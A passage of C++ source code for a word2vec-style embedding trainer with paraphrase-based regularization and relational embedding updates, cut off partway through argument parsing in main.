l1] * syn1[c + l2];\n if (f <= -MAX_EXP) continue;\n else if (f >= MAX_EXP) continue;\n else f = expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))];\n // 'g' is the gradient multiplied by the learning rate\n g = (1 - vocab[word].code[d] - f) * alpha;\n // Propagate errors output -> hidden\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1[c + l2];\n // Learn weights hidden -> output\n for (c = 0; c < layer1_size; c++) syn1[c + l2] += g * syn0[c + l1];\n }\n // NEGATIVE SAMPLING\n if (negative > 0 && !weight_tying) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn0[c + l1];\n }\n // WEIGHT-TYING NEGATIVE SAMPLING\n if (weight_tying > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn0[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn0[c + l2];\n for (c = 0; c < layer1_size; c++) syn0[c + l2] += g * syn0[c + l1];\n }\n // Learn weights input -> hidden\n for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1e[c];\n vector<string> pplist;\n if (reg_in) {\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[last_word].word);\n pp->GetList(vocab[last_word].word, pplist);\n //if (NULL == pplist) continue;\n if (pplist.size() == 0) continue;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn0[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l1]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn0[c + l1] += alpha * lambda * (neu1e[c] / length - syn0[c + l1]);\n }\n\n if (reg_out) {\n if(negative > 0 && !weight_tying){\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[word].word);\n pp->GetList(vocab[word].word, pplist);\n //if (NULL == pplist) continue;\n if(0 == pplist.size()) continue;\n l2 = word * layer1_size;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1neg[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn1neg[c + l] -= alpha * lambda / length * (syn1neg[c + l] - syn1neg[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += alpha * lambda * (neu1e[c] / length - syn1neg[c + l2]);\n }\n if(weight_tying > 0){\n // Regularizations\n //vector<string>* pplist = pp->GetList(vocab[word].word);\n pp->GetList(vocab[word].word, pplist);\n //if (NULL == pplist) continue;\n if(0 == pplist.size()) continue;\n l2 = word * layer1_size;\n\n unsigned long length = pplist.size();\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn0[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = id * layer1_size;\n for (c = 0; c < layer1_size; c++) syn0[c + l] -= alpha * lambda / length * (syn0[c + l] - syn0[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn0[c + l2] += alpha * lambda * (neu1e[c] / length - syn0[c + l2]);\n }\n if (hs) {\n //vector<string>* pplist = pp->GetList(vocab[word].word);\n //if (NULL == pplist) continue;\n pp->GetList(vocab[word].word, pplist);\n if (0 == pplist.size()) continue;\n\n unsigned long length = pplist.size();\n l2 = vocab[word].point[vocab[word].codelen - 1] * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = vocab[id].point[vocab[id].codelen - 1] * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1e[c] += syn1[c + l];\n }\n else\n {\n length--;\n }\n }\n\n if (length == 0) {\n continue;\n }\n\n //update pp words\n for(vector<string>::iterator iter = pplist.begin(); iter != pplist.end(); iter++){\n int id = SearchVocab((char*)iter->c_str());\n if (id != -1) {\n long long l = vocab[id].point[vocab[id].codelen - 1] * layer1_size;\n for (c = 0; c < layer1_size; c++) syn1[c + l] -= alpha * lambda / length * (syn1[c + l] - syn1[c + l2]);\n }\n }\n\n //update central word\n for (c = 0; c < layer1_size; c++) syn1[c + l2] += alpha * lambda * (neu1e[c] / length - syn1[c + l2]);\n }\n }\n }\n }\n sentence_position++;\n if (sentence_position >= sentence_length) {\n sentence_length = 0;\n continue;\n }\n }\n fclose(fi);\n free(neu1);\n free(neu1e);\n pthread_exit(NULL);\n}\n\nvoid *TrainModelRegNCEThread(void *id) {\n long long a, b, d, word, last_word, sentence_length = 0, sentence_position = 0;\n long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n //long long word_actual_old = 0;\n //long long part = train_words / 10;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n real *neu1e = (real *)calloc(layer1_size, sizeof(real));\n int pp_count = 0;\n //int pp_last_count = 0;\n long long update_pp_word_count = 0, update_relation_word_count = 0;\n //int train_pp_total = epochs * pp->ppdict.size();\n FILE *fi = fopen(train_file, \"rb\");\n //FILE *fi = fopen(\"/Users/gflfof/Desktop/new work/phrase_embedding/trunk/trainword.txt\", \"rb\");\n //train_pp_total = 0;\n// while (1) {\n// word = ReadWordIndex(fi);\n// if (word != 0) train_pp_total++;\n// if (feof(fi)) break;\n// }\n //train_pp_total--;\n //train_pp_total *= epochs;\n //train_pp_total *= 1;\n //file_size = ftell(fi);\n cout << \"reg_out:\" << reg_out << \", negative:\" << negative << endl;\n for (int ep = 0; ep < 1; ep++) {\n fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);\n\n while (1) {\n if (word_count - last_word_count > 500000) {\n //word_actual_old = word_count_actual;\n word_count_actual += word_count - last_word_count;\n //if (word_count_actual / part == word_actual_old / part + 1) {\n // evaluateMRRout(10000, ppeval);\n //}\n last_word_count = word_count;\n if ((debug_mode > 1)) {\n now=clock();\n printf(\"%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk update pp count:%lld update relation count:%lld\", '\\n', alpha,\n word_count_actual / (real)(train_words + 1) * 100,\n word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000),\n update_pp_word_count, update_relation_word_count);\n fflush(stdout);\n }\n alpha = starting_alpha * (1 - word_count_actual / (real)(train_words + 1));\n if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;\n }\n //if (pp_count - pp_last_count >= 5000){\n //pp_count_actual += pp_count - pp_last_count;\n //pp_last_count = pp_count;\n //now=clock();\n //printf(\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, lambda,\n //pp_count_actual / (real)(train_pp_total + 1) * 100,\n //pp_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n //lambda = starting_lambda * (1 - pp_count_actual / (real)(train_pp_total + 1));\n //if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\n //}\n if (sentence_length == 0) {\n while (1) {\n word = ReadWordIndex(fi);\n if (feof(fi)) break;\n if (word == -1) continue;\n word_count++;\n if (word == 0) break;\n // The subsampling randomly discards frequent words while keeping the ranking same\n if (sample > 0) {\n real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;\n next_random = next_random * (unsigned long long)25214903917 + 11;\n if (ran < (next_random & 0xFFFF) / (real)65536) continue;\n }\n sen[sentence_length] = word;\n sentence_length++;\n if (sentence_length >= MAX_SENTENCE_LENGTH) break;\n }\n sentence_position = 0;\n }\n if (feof(fi)) break;\n if (sentence_length == 0) continue;\n if (word_count > train_words / num_threads) break;\n //if (pp_count > train_pp_total / num_threads) break;\n word = sen[sentence_position];\n if (word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n //next_random = next_random * (unsigned long long)25214903917 + 11;\n b = next_random % window;\n if (cbow) { //train the cbow architecture\n if(word2vec){\n // in -> hidden\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];\n }\n // NEGATIVE SAMPLING\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * alpha;\n else if (f < -MAX_EXP) g = (label - 0) * alpha;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;\n for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];\n }\n // hidden -> in\n for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {\n c = sentence_position - window + a;\n if (c < 0) continue;\n if (c >= sentence_length) continue;\n last_word = sen[c];\n if (last_word == -1) continue;\n for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];\n }\n }\n //ppconfig\n if (reg_out) {\n if(negative > 0){\n word2dict::iterator iter_pair = pp->ppdict.find(vocab[word].word);\n //cout << pp_count << \" \" << vocab[word].word << \" \";\n if (iter_pair != pp->ppdict.end()){\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\n last_word = SearchVocab((char*)iter->first.c_str());\n if (last_word == -1) continue;\n update_pp_word_count += 1;\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n // NEGATIVE SAMPLING // todo gradient\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n //cout << target << \" \";\n //cout << vocab[target].word << \" \";\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * lambda;\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\n // TODO\n // baihan\n // update syn0 (update word vector directly)\n\n // neu1 here is\n // lambda * (sigmoid - label) * theta\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\n //for (c = 0; c < layer1_size; c++) neu1[c] += g * syn0[c + l2];\n // semantic relation is symmetrical\n // update theta itself\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\n //printf(\"c+l2:%lld, c+l1:%lld,g*syn0:%f,syn0:%f\\r\", c + l2, c + l1, g * syn1neg[c+l1], syn1neg[c+l2]);\n //for (c = 0; c < layer1_size; c++) {\n //printf(\"c+l2:%lld, c+l1:%lld,g*syn0:%llf,syn0:%llf\\r\", c + l2, c + l1, g * syn0[c+l1], syn0[c+l2]);\n //syn0[c + l2] += g * syn0[c + l1];\n //}\n }\n // finally update accumulated sum\n // refer to the paper\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\n //for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1[c];\n }\n }\n //cout << endl;\n pp_count++;\n }\n }\n\n //relationconfig\n if (use_relational && negative > 0 and rdata != NULL) {\n long long head_id, tail_id, relation_id;\n unordered_map<string, vector<pair<string, string>>> &dataset = rdata->dataset;\n auto iter = dataset.find(string(vocab[word].word));\n if (iter != dataset.end()) {\n for (auto pair_iter = iter->second.begin(); pair_iter != iter->second.end(); pair_iter++) {\n head_id = SearchVocab(iter->first.c_str());\n relation_id = SearchVocab(pair_iter->first.c_str());\n tail_id = SearchVocab(pair_iter->second.c_str());\n if (head_id == -1 || relation_id == -1 || tail_id == -1) continue;\n update_relation_word_count++;\n // sum of h + r\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n for (c = 0; c < layer1_size; c++) {\n // update word vector\n neu1[c] += syn0[c + head_id * layer1_size] + syn0[c + relation_id * layer1_size];\n //neu1[c] += syn1neg[c + head_id * layer1_size] + syn1neg[c + relation_id * layer1_size];\n }\n for (c = 0; c < layer1_size; c++) neu1e[c] = 0;\n // NEGATIVE SAMPLING\n // sample with tail\n if (negative > 0) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = tail_id;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == tail_id) continue;\n label = 0;\n }\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += neu1[c] * syn0[c + l2];\n //for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * gamma_value;\n else if (f < -MAX_EXP) g = (label - 0) * gamma_value;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * gamma_value;\n //accumulated for e{h + r}\n for (c = 0; c < layer1_size; c++)\n neu1e[c] += g * syn0[l2 + c];\n //neu1e[c] += g * syn1neg[l2 + c];\n //update e{t}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + l2] += g * neu1[c];\n //syn1neg[c + l2] += g * neu1[c];\n }\n }\n // update e{h} and e{r}\n for (c = 0; c < layer1_size; c++) {\n syn0[c + head_id * layer1_size] += neu1e[c];\n syn0[c + relation_id * layer1_size] += neu1e[c];\n //syn1neg[c + head_id * layer1_size] += neu1e[c];\n //syn1neg[c + relation_id * layer1_size] += neu1e[c];\n }\n }\n }\n }\n }\n sentence_position++;\n if (sentence_position >= sentence_length) {\n sentence_length = 0;\n continue;\n }\n }\n //if((ep + 1) % 10 == 0 && id == 0) if (ppeval != NULL)\n //{\n ////evaluateMRRout(10000, ppeval);\n //}\n }\n\n fclose(fi);\n free(neu1);\n free(neu1e);\n // pthread_exit(NULL);\n return 0;\n}\n\nvoid *TrainPPDBVectorThread(void *id) {\n long long d, word, last_word;\n long long word_count = 0;\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n word2int::iterator it;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n long long train_words_total = epochs * pp->ppdict.size();\n pp_count_actual = epochs * pp->ppdict.size();\n word_count = 0;\n for (int ep = 0; ep < epochs; ep++) {\n //cout << ep << endl;\n for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\n //fprintf(fo, \"%s\\n\", iter_pair->first.c_str());\n word = SearchVocab((char*)iter_pair->first.c_str());\n if (word == -1) continue;\n //cout << vocab[word].word << \" \";\n\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\n last_word = SearchVocab((char*)iter->first.c_str());\n if (last_word == -1) continue;\n\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n // NEGATIVE SAMPLING // todo gradient\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n //cout << target << \" \";\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * lambda;\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\n }\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\n }\n //cout << endl;\n word_count++;\n if (word_count % 5000 == 0) { //todo: shrink learning rate\n now=clock();\n printf(\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, lambda,\n word_count / (real)(train_words_total + 1) * 100,\n word_count / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n fflush(stdout);\n lambda = starting_lambda * (1 - word_count / (real)(train_words_total + 1));\n if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\n }\n }\n if((ep + 1) % 10 == 0) if (ppeval != NULL)\n {\n //evaluateMRRout(10000, ppeval);\n }\n //next_random = next_random * (unsigned long long)25214903917 + 11;\n //b = next_random % window;\n }\n //fclose(fi);\n //fclose(fo);\n free(neu1);\n pthread_exit(NULL);\n}\n\nvoid *TrainPPDBVectorThreadNew(void *id) {\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\n pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);\n long long d, word, last_word;\n long long word_count = 0, last_word_count = 0;\n long long l1, l2, c, target, label;\n unsigned long long next_random = (long long)id;\n word2int::iterator it;\n real f, g;\n clock_t now;\n real *neu1 = (real *)calloc(layer1_size, sizeof(real));\n long long train_words_total = epochs * pp->ppdict.size();\n long long begin = pp->ppdict.size() / (long long)num_thread_pmm * ((long long)id - num_threads);\n long long end = pp->ppdict.size() / (long long)num_thread_pmm * ((long long)id + 1 - num_threads);\n if ((long long)id == num_threads + num_thread_pmm - 1) end = (long long)pp->ppdict.size();\n //pp_count_actual = epochs * pp->ppdict.size();\n\n long long* wordIds = (long long*)calloc(pp->ppdict.size(), sizeof(long long));\n string* wordList = new string[pp->ppdict.size()];\n int i = 0;\n for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\n word = SearchVocab((char*)iter_pair->first.c_str());\n wordList[i] = iter_pair->first;\n wordIds[i++] = word;\n }\n for (int ep = 0; ep < epochs; ep++) {\n //cout << ep << endl;\n for (i = begin; i < end; i++) {\n //for (word2dict::iterator iter_pair = pp->ppdict.begin(); iter_pair != pp->ppdict.end(); iter_pair++) {\n word = wordIds[i];\n //word = SearchVocab((char*)wordList[i].c_str());\n if (word == -1) continue;\n //cout << vocab[word].word << \" \";\n\n word2dict::iterator iter_pair = pp->ppdict.find(wordList[i]);\n\n for(word2int::iterator iter = iter_pair->second.begin(); iter != iter_pair->second.end(); iter++){\n last_word = SearchVocab((char*)iter->first.c_str());\n if (last_word == -1) continue;\n pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);\n pthread_testcancel();/*the thread can be killed only here*/\n pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL);\n\n l1 = last_word * layer1_size;\n for (c = 0; c < layer1_size; c++) neu1[c] = 0;\n // NEGATIVE SAMPLING // todo gradient\n if (negative > 0 ) for (d = 0; d < negative + 1; d++) {\n if (d == 0) {\n target = word;\n label = 1;\n } else {\n next_random = next_random * (unsigned long long)25214903917 + 11;\n target = table[(next_random >> 16) % table_size];\n if (target == 0) target = next_random % (vocab_size - 1) + 1;\n if (target == word) continue;\n label = 0;\n }\n //cout << target << \" \";\n l2 = target * layer1_size;\n f = 0;\n for (c = 0; c < layer1_size; c++) f += syn1neg[c + l1] * syn1neg[c + l2];\n if (f > MAX_EXP) g = (label - 1) * lambda;\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\n }\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\n }\n //cout << endl;\n word_count++;\n if ((word_count - last_word_count) % 5000 == 0) { //todo: shrink learning rate\n pp_count_actual += word_count - last_word_count;\n now=clock();\n printf(\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \", 13, lambda,\n pp_count_actual / (real)(train_words_total + 1) * 100,\n pp_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\n fflush(stdout);\n lambda = starting_lambda * (1 - pp_count_actual / (real)(train_words_total + 1));\n if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\n word_count = last_word_count;\n }\n }\n if((ep + 1) % 10 == 0 && (((ep + 1) / 10)) % num_thread_pmm == ((long long)id - num_threads) ) if (ppeval != NULL)\n {\n //evaluateMRRout(10000, ppeval);\n }\n //next_random = next_random * (unsigned long long)25214903917 + 11;\n //b = next_random % window;\n }\n //fclose(fi);\n //fclose(fo);\n free(wordIds);\n free(neu1);\n delete [] wordList;\n pthread_exit(NULL);\n}\n\nint LoadEmb(string modelname) {\n long long words, size, a, b;\n char ch;\n FILE *f = fopen(modelname.c_str(), \"rb\");\n if (f == NULL) {\n printf(\"Input file not found\\n\");\n return -1;\n }\n\n fscanf(f, \"%lld\", &words);\n fscanf(f, \"%lld\", &size);\n if (size != layer1_size) {\n printf(\"inconsistent dimensions \\n\");\n exit(-1);\n }\n //syn1neg = (float *)malloc(words * size * sizeof(float));\n if (syn1neg == NULL) {\n printf(\"Cannot allocate memory: %lld MB\\n\", words * size * sizeof(float) / 1048576);\n return -1;\n }\n\n char tmpword[max_w];\n int count; char ch2;\n for (b = 0; b < words; b++) {\n fscanf(f, \"%s%c%d%c\", tmpword, &ch, &count, &ch2);\n //fscanf(f, \"%s%c\", tmpword, &ch);\n int id = SearchVocab(tmpword);\n if (id == -1) continue;\n\n for (a = 0; a < size; a++) fread(&syn1neg[a + id * size], sizeof(float), 1, f);\n //for (a = 0; a < size; a++) fread(&syn1neg[a + b * size], sizeof(float), 1, f);\n }\n fclose(f);\n\n return 0;\n}\n\nvoid TrainModel() {\n long a, b;\n FILE *fo;\n //pthread_t *pt = (pthread_t *)malloc((num_threads + num_thread_pmm) * sizeof(pthread_t));\n printf(\"Starting training using file %s\\n\", train_file);\n starting_alpha = alpha;\n starting_lambda = lambda;\n if (read_vocab_file[0] != 0) ReadVocab(); else LearnVocabFromTrainFile();\n // RelationData Test\n //if (rdata) {\n //for (auto &relation_word : rdata->relations) {\n //int i = SearchVocab(relation_word.first.c_str());\n //if (i == -1) {\n //cout << relation_word.first << \" not exist.\" << endl;\n //} else\n //cout << relation_word.first << \":\" << vocab[i].cn << endl;\n //}\n //}\n //exit(1);\n // RelationalData End\n if (save_vocab_file[0] != 0) SaveVocab();\n if (output_file[0] == 0) return;\n InitNet();\n if (negative > 0) InitUnigramTable();\n start = clock();\n BuildUpperDict();\n //evaluateMRRout(10000, ppeval);\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelRegThread, (void *)a);\n// for (int ep = 0; ep < epochs; ep++) {\n// //TrainModelRegNCEThread(0);\n\n //TEST\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelRegNCEThread, (void *)a);\n //a = num_threads;\n TrainModelRegNCEThread(0);\n TrainRelationVectorThread(0);\n //TEST end\n //pthread_create(&pt[0], NULL, TrainModelRegNCEThread, (void *)0);\n //pthread_create(&pt[num_threads], NULL, TrainPPDBVectorThread, (void *)a);\n\n //TEST\n //for (a = num_threads; a < num_threads + num_thread_pmm; a++) pthread_create(&pt[a], NULL, TrainPPDBVectorThreadNew, (void *)a);\n //for (a = 0; a < num_threads; a++) pthread_join(pt[a], NULL);\n //for (a = num_threads; a < num_threads + num_thread_pmm; a++) pthread_cancel(pt[a]);\n //TEST End\n\n// }\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainPPDBVectorThread, (void *)a);\n //TrainPPDBVectorThread(0);\n //TrainModelRegNCEThread(0);\n\n fo = fopen(output_file, \"wb\");\n printf(\"\\n\\nwrite to file:%s\\n\", output_file);\n if (classes == 0) {\n // Save the word vectors\n fprintf(fo, \"%lld %lld\\n\", vocab_size, layer1_size);\n for (a = 0; a < vocab_size; a++) {\n //fprintf(fo, \"%s %d \", vocab[a].word, vocab[a].cn);\n fprintf(fo, \"%s \", vocab[a].word);\n if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn0[a * layer1_size + b], sizeof(real), 1, fo);\n else for (b = 0; b < layer1_size; b++) fprintf(fo, \"%lf \", syn0[a * layer1_size + b]);\n if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn1neg[a * layer1_size + b], sizeof(real), 1, fo);\n else for (b = 0; b < layer1_size; b++) fprintf(fo, \"%lf \", syn1neg[a * layer1_size + b]);\n fprintf(fo, \"\\n\");\n }\n }\n fclose(fo);\n}\n\nint ArgPos(char *str, int argc, char **argv) {\n int a;\n for (a = 1; a < argc; a++) if (!strcmp(str, argv[a])) {\n if (a == argc - 1) {\n printf(\"Argument missing for %s\\n\", str);\n exit(1);\n }\n return a;\n }\n return -1;\n}\n\nint main(int argc, char **argv) {\n //pp = new Paraphrase(\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/ppdb-1.0-s-lexical.test\");\n //pp = new Paraphrase(\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/ppdb-1.0-s-lexical.wordlist100\");\n //evaluate(\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/vectors.wordlist100.bin\", 10000, pp);\n //evaluateMRR(\"/Users/gflfof/Desktop/new work/phrase_embedding/trunk/vector.wordlist100.reg\", 10000, pp);\n //return 0;\n int i;\n output_file[0] = 0;\n save_vocab_file[0] = 0;\n read_vocab_file[0] = 0;\n reg_in = 0;\n reg_out = 1;\n if (argc != 1) {\n if ((i = ArgPos((char *)\"-size\", argc, argv)) > 0) layer1_size = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-epochs\", argc, argv)) > 0) epochs = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-train\", argc, argv)) > 0) strcpy(train_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-train2\", argc, argv)) > 0) strcpy(train_file2, argv[i + 1]);\n if ((i = ArgPos((char *)\"-save-vocab\", argc, argv)) > 0) strcpy(save_vocab_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-read-vocab\", argc, argv)) > 0) strcpy(read_vocab_file, argv[i + 1]);\n if ((i = ArgPos((char *)\"-debug\", argc, argv)) > 0) debug_mode = atoi(argv[i + 1]);\n if ((i = ArgPos((char *)\"-binary\", argc, argv)) > 0) binary = 